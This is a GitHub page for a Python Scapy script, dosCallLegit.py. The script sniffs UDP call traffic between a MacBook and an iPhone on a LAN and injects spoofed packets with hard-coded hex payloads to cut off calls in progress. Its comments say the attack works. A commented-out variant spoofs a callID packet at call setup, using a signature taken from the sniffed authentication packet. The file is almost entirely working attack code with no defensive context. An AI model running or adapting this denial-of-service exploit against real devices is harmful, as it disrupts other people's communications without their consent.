-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathdosCallLegit.py
48 lines (33 loc) · 1.42 KB
/
dosCallLegit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import sys
import binascii
import socket
import struct
import os
from scapy.all import *
iphone = "192.168.0.111"
macbook = "192.168.0.200"
kali = "192.168.0.105"
globalCounter = 0
previousVoicePayload = ""
def processPackage(pkt):
# DURING CALL
print "\n\n---Packet found"
dosPayload = "20040004000000000000000000b002000000000000000000000000000000000000000000000000000000000000"
pkt = IP(src=pkt[IP].src, dst=pkt[IP].dst)/UDP(sport=pkt.sport, dport=pkt.dport)/binascii.unhexlify(dosPayload) # IT WORKS when sent during the call!!!!
send(pkt)
exit("During call")
# # At CALL initiation
# print "---Auth package received"
# payload = binascii.hexlify(pkt.load)
# signature = payload[18:42]
# print "--- Signature: %s" % signature
# print payload
# print "---Send the spoofed callID packet to the iPhone"
# dosPayload = "0f000100382112a442" + signature + "00250004000000010006002431314132363832412d434537302d344546462d383835352d4132463142463644383543448005000452b20000"
# pktToBeSent = IP(src=pkt[IP].src, dst=pkt[IP].dst)/UDP(sport=pkt.sport, dport=pkt.dport)/binascii.unhexlify(dosPayload) # IT WORKS!! It does not let you pickup in the machine but you can pickup in the phone
# print binascii.hexlify(pktToBeSent.load)
# send(pktToBeSent)
# exit("At call initiation")
print "---Finding an ongoing call..."
myfilter = "udp and src %s and dst %s" % (macbook, iphone)
sniff(iface="en0", filter=myfilter, prn=processPackage)